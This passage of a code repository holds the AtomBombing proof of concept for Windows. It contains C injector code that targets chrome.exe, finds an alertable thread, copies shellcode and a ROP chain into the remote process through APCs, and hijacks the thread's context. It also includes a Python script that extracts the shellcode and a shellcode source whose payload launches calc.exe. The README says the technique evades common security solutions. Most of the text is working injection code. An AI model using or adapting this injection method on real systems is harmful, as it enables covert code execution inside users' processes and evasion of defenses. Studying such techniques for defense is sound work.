ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED; 1477 | goto lblCleanup; 1478 | } 1479 | 1480 | ResumeThread(hThread); 1481 | if (((DWORD)-1) == dwErr) 1482 | { 1483 | eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED; 1484 | goto lblCleanup; 1485 | } 1486 | 1487 | eReturn = ESTATUS_SUCCESS; 1488 | *ptContext = tContext; 1489 | 1490 | lblCleanup: 1491 | return eReturn; 1492 | } 1493 | 1494 | ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread) 1495 | { 1496 | ESTATUS eReturn = ESTATUS_INVALID; 1497 | PHANDLE phProcessThreadsHandles = NULL; 1498 | DWORD cbProcessThreadsHandlesSize = 0; 1499 | DWORD dwNumberOfProcessThreads = 0; 1500 | BOOL bErr = FALSE; 1501 | DWORD dwErr = 0; 1502 | HANDLE hAlertableThread = 0; 1503 | PVOID pfnNtWaitForSingleObject = NULL; 1504 | PHANDLE phLocalEvents = NULL; 1505 | PHANDLE phRemoteEvents = NULL; 1506 | 1507 | eReturn = main_EnumProcessThreads( 1508 | hProcess, 1509 | &phProcessThreadsHandles, 1510 | &cbProcessThreadsHandlesSize, 1511 | &dwNumberOfProcessThreads 1512 | ); 1513 | if (ESTATUS_FAILED(eReturn)) 1514 | { 1515 | goto lblCleanup; 1516 | } 1517 | 1518 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) 1519 | { 1520 | HANDLE hThread = phProcessThreadsHandles[dwIndex]; 1521 | 1522 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( 1523 | hThread, 1524 | GetCurrentThread(), 1525 | 5000, 1526 | TRUE); 1527 | if (ESTATUS_FAILED(eReturn)) 1528 | { 1529 | continue; 1530 | } 1531 | } 1532 | 1533 | phLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE)); 1534 | if (NULL == phLocalEvents) 1535 | { 1536 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED; 1537 | goto lblCleanup; 1538 | } 1539 | 1540 | phRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE)); 1541 | if (NULL == phRemoteEvents) 1542 | { 1543 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED; 1544 | goto lblCleanup; 1545 | } 1546 | 1547 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) 1548 | { 1549 | HANDLE hThread = phProcessThreadsHandles[dwIndex]; 1550 | 1551 | phLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL); 1552 | if (NULL == phLocalEvents[dwIndex]) 1553 | { 1554 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED; 1555 | goto lblCleanup; 1556 | } 1557 | 1558 | bErr = DuplicateHandle( 1559 | GetCurrentProcess(), 1560 | phLocalEvents[dwIndex], 1561 | hProcess, 1562 | &phRemoteEvents[dwIndex], 1563 | 0, 1564 | FALSE, 1565 | DUPLICATE_SAME_ACCESS 1566 | ); 1567 | if (FALSE == bErr) 1568 | { 1569 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED; 1570 | goto lblCleanup; 1571 | } 1572 | 1573 | eReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]); 1574 | if (ESTATUS_FAILED(eReturn)) 1575 | { 1576 | goto lblCleanup; 1577 | } 1578 | 1579 | } 1580 | 1581 | DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000); 1582 | if (WAIT_FAILED == dwWaitResult) 1583 | { 1584 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED; 1585 | goto lblCleanup; 1586 | } 1587 | if (WAIT_TIMEOUT == dwWaitResult) 1588 | { 1589 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND; 1590 | goto lblCleanup; 1591 | } 1592 | 1593 | hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0]; 1594 | 1595 | //If the thread is in an alertable state, keep it that way "forever". 1596 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx( 1597 | hAlertableThread, 1598 | GetCurrentThread(), 1599 | INFINITE, 1600 | TRUE 1601 | ); 1602 | if (ESTATUS_FAILED(eReturn)) 1603 | { 1604 | goto lblCleanup; 1605 | } 1606 | 1607 | *phAlertableThread = hAlertableThread; 1608 | eReturn = ESTATUS_SUCCESS; 1609 | 1610 | lblCleanup: 1611 | 1612 | main_CloseRemoteHandleArray( 1613 | hProcess, 1614 | phRemoteEvents, 1615 | dwNumberOfProcessThreads 1616 | ); 1617 | 1618 | if (NULL != phRemoteEvents) 1619 | { 1620 | HeapFree(GetProcessHeap(), 0, phRemoteEvents); 1621 | phRemoteEvents = NULL; 1622 | } 1623 | 1624 | main_CloseLocalHandleArray( 1625 | phLocalEvents, 1626 | dwNumberOfProcessThreads 1627 | ); 1628 | 1629 | if (NULL != phLocalEvents) 1630 | { 1631 | HeapFree(GetProcessHeap(), 0, phLocalEvents); 1632 | phLocalEvents = NULL; 1633 | } 1634 | 1635 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) 1636 | { 1637 | PHANDLE phThread = &phProcessThreadsHandles[dwIndex]; 1638 | 1639 | if ((NULL != *phThread) && (hAlertableThread != *phThread)) 1640 | { 1641 | CloseHandle(*phThread); 1642 | *phThread = NULL; 1643 | } 1644 | } 1645 | 1646 | if (NULL != phProcessThreadsHandles) 1647 | { 1648 | HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles); 1649 | phProcessThreadsHandles = NULL; 1650 | } 1651 | 1652 | return eReturn; 1653 | } 1654 | 1655 | ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress) 1656 | { 1657 | ESTATUS eReturn = ESTATUS_INVALID; 1658 | CONTEXT tContext = { 0 }; 1659 | BOOL bErr = FALSE; 1660 | LDT_ENTRY tLdtEnry = { 0 }; 1661 | PVOID pvTebAddress; 1662 | 1663 | eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext); 1664 | if (ESTATUS_FAILED(eReturn)) 1665 | { 1666 | goto lblCleanup; 1667 | } 1668 | 1669 | bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry); 1670 | if (FALSE == bErr) 1671 | { 1672 | eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED; 1673 | goto lblCleanup; 1674 | } 1675 | 1676 | pvTebAddress = (PVOID)( 1677 | (tLdtEnry.BaseLow) | 1678 | (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | 1679 | (tLdtEnry.HighWord.Bytes.BaseHi << 0x18) 1680 | ); 1681 | 1682 | *ppvTebAddress = pvTebAddress; 1683 | eReturn = ESTATUS_SUCCESS; 1684 | 1685 | lblCleanup: 1686 | return eReturn; 1687 | 1688 | } 1689 | 1690 | 1691 | 1692 | int main() 1693 | { 1694 | ESTATUS eReturn = ESTATUS_INVALID; 1695 | PVOID pvRemoteShellcodeAddress = NULL; 1696 | PVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL; 1697 | PVOID pvRemoteContextAddress = NULL; 1698 | PVOID pvRemoteROPChainAddress = NULL; 1699 | CONTEXT tContext = { 0 }; 1700 | CHAR acShellcode[] = SHELLCODE; 1701 | PVOID pvCodeCave = NULL; 1702 | BOOL bErr = FALSE; 1703 | ROPCHAIN tRopChain = { 0 }; 1704 | HANDLE hProcess = NULL; 1705 | HANDLE hAlertableThread = NULL; 1706 | ATOM tAtom = 0; 1707 | printf("[*] ATOM BOMBING\n\n\n"); 1708 | 1709 | eReturn = main_OpenProcessByName(L"chrome.exe", &hProcess); 1710 | if (ESTATUS_FAILED(eReturn)) 1711 | { 1712 | goto lblCleanup; 1713 | } 1714 | 1715 | printf("[*] Searching for an alertable thread.\n\n\n"); 1716 | eReturn = main_FindAlertableThread(hProcess, &hAlertableThread); 1717 | if (ESTATUS_FAILED(eReturn)) 1718 | { 1719 | goto lblCleanup; 1720 | } 1721 | printf("[*] Found an alertable thread. Handle: 0x%X.\n\n\n", hAlertableThread); 1722 | 1723 | printf("[*] Finding remote code cave.\n\n\n"); 1724 | eReturn = main_GetCodeCaveAddress(&pvCodeCave); 1725 | if (ESTATUS_FAILED(eReturn)) 1726 | { 1727 | goto lblCleanup; 1728 | } 1729 | printf("[*] Remote code cave found: 0x%X.\n\n\n", pvCodeCave); 1730 | 1731 | pvRemoteROPChainAddress = pvCodeCave; 1732 | pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN); 1733 | pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters); 1734 | pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8; 1735 | 1736 | printf("[*] Building ROP chain.\n\n\n"); 1737 | eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain); 1738 | if (ESTATUS_FAILED(eReturn)) 1739 | { 1740 | goto lblCleanup; 1741 | } 1742 | 1743 | printf("[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\n\n\n"); 1744 | eReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress); 1745 | if (ESTATUS_FAILED(eReturn)) 1746 | { 1747 | goto lblCleanup; 1748 | } 1749 | 1750 | *(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress); 1751 | 1752 | printf("[*] Copying the shellcode to the target process's address space.\n\n\n"); 1753 | eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode)); 1754 | if (ESTATUS_FAILED(eReturn)) 1755 | { 1756 | goto lblCleanup; 1757 | } 1758 | 1759 | 1760 | printf("[*] Copying ROP chain to the target process's address space: 0x%X.\n\n\n", pvRemoteROPChainAddress); 1761 | eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain)); 1762 | if (ESTATUS_FAILED(eReturn)) 1763 | { 1764 | goto lblCleanup; 1765 | } 1766 | 1767 | bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext); 1768 | if (ESTATUS_FAILED(eReturn)) 1769 | { 1770 | goto lblCleanup; 1771 | } 1772 | 1773 | tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory"); 1774 | tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress; 1775 | tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress; 1776 | 1777 | printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n"); 1778 | eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress); 1779 | if (ESTATUS_FAILED(eReturn)) 1780 | { 1781 | goto lblCleanup; 1782 | } 1783 | 1784 | lblCleanup: 1785 | if (NULL != hProcess) 1786 | { 1787 | CloseHandle(hProcess); 1788 | hProcess = NULL; 1789 | } 1790 | if (NULL != hAlertableThread) 1791 | { 1792 | CloseHandle(hAlertableThread); 1793 | hAlertableThread = NULL; 1794 | } 1795 | return 0; 1796 | } -------------------------------------------------------------------------------- /AtomBombingShellcode/AtomBombingShellcode.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | 10 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133} 11 | Win32Proj 12 | AtomBombingShellcode 13 | 14 | 15 | 16 | Application 17 | false 18 | v120 19 | true 20 | Unicode 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | false 31 | 32 | 33 | 34 | Level3 35 | 36 | 37 | Disabled 38 | true 39 | true 40 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) 41 | false 42 | 43 | 44 | Console 45 | true 46 | true 47 | true 48 | 49 | 50 | 51 | 52 | c:\python27\python.exe "$(SolutionDir)\$(ProjectName)\Scripts\Post_Link.py" "$(SolutionDir)$(Configuration)\$(ProjectName).exe" 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /AtomBombingShellcode/Scripts/Post_Link.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | import sys 3 | import os 4 | 5 | DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3" 6 | 7 | def main(): 8 | exe_path = sys.argv[1] 9 | pe = pefile.PE(exe_path) 10 | print "Starting!" 11 | output = "" 12 | text_section = "" 13 | for section in pe.sections: 14 | if ".text" in section.Name: 15 | print (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData ) 16 | text_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData) 17 | binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)] 18 | for byte in binary_shellcode: 19 | output += "\\x%x" % ord(byte) 20 | output = "#define SHELLCODE (\"%s\")" % output 21 | folder, file_name = os.path.split(exe_path) 22 | base, _ = os.path.splitext(file_name) 23 | print os.path.join(folder, base+".h") 24 | open(os.path.join(folder, base) + ".h", "wb").write(output) 25 | open(os.path.join(folder, base) + ".text", "wb").write(text_section) 26 | open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode) 27 | 28 | 29 | 30 | if __name__ == "__main__": 31 | main() -------------------------------------------------------------------------------- /AtomBombingShellcode/main.c: -------------------------------------------------------------------------------- 1 | typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName); 2 | typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName); 3 | typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow); 4 | typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert); 5 | 6 | typedef struct _FUNCTIONPOINTERS 7 | { 8 | pfnLoadLibraryA pfnLoadLibraryA; 9 | pfnGetProcAddress pfnGetProcAddress; 10 | } FUNCTIONPOINTERS, *PFUNCTIONPOINTERS; 11 | 12 | FUNCTIONPOINTERS g_FunctionPointers; 13 | 14 | void shellcode_entry(); 15 | 16 | __declspec(naked) void fix_esp() 17 | { 18 | __asm{ 19 | mov eax, edi; 20 | add ax, 0xc4; 21 | mov esp, [eax]; 22 | sub sp, 0x1024; 23 | // This is needed for alignment purposes 24 | nop; 25 | nop; 26 | nop; 27 | } 28 | 29 | } 30 | 31 | void shellcode_entry() 32 | { 33 | PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337; 34 | pfnWinExec pfnWinExec; 35 | pfnZwContinue pfnZwContinue; 36 | void * ptContext; 37 | void * hKernel32; 38 | void * hNtDll; 39 | char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; 40 | char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' }; 41 | char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'}; 42 | char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' }; 43 | char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; 44 | 45 | __asm{ 46 | mov[ptContext], edi; 47 | } 48 | 49 | hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32); 50 | if (0 == hKernel32) 51 | { 52 | goto lblCleanup; 53 | } 54 | 55 | hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll); 56 | if (0 == hNtDll) 57 | { 58 | goto lblCleanup; 59 | } 60 | 61 | pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue); 62 | if (0 == pfnZwContinue) 63 | { 64 | goto lblCleanup; 65 | } 66 | 67 | pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec); 68 | if (0 == pfnWinExec) 69 | { 70 | goto lblCleanup; 71 | } 72 | 73 | pfnWinExec(pszCalcExe, 0); 74 | 75 | pfnZwContinue(ptContext, 1); 76 | 77 | lblCleanup: 78 | return; 79 | } 80 | 81 | void dummy() 82 | { 83 | int dummy = 0xDEADBABE; 84 | } 85 | 86 | #include 87 | 88 | int main() 89 | { 90 | g_FunctionPointers.pfnGetProcAddress = GetProcAddress; 91 | g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA; 92 | fix_esp(); 93 | shellcode_entry(); 94 | dummy(); 95 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # atom-bombing 2 | Here’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration. 3 | --------------------------------------------------------------------------------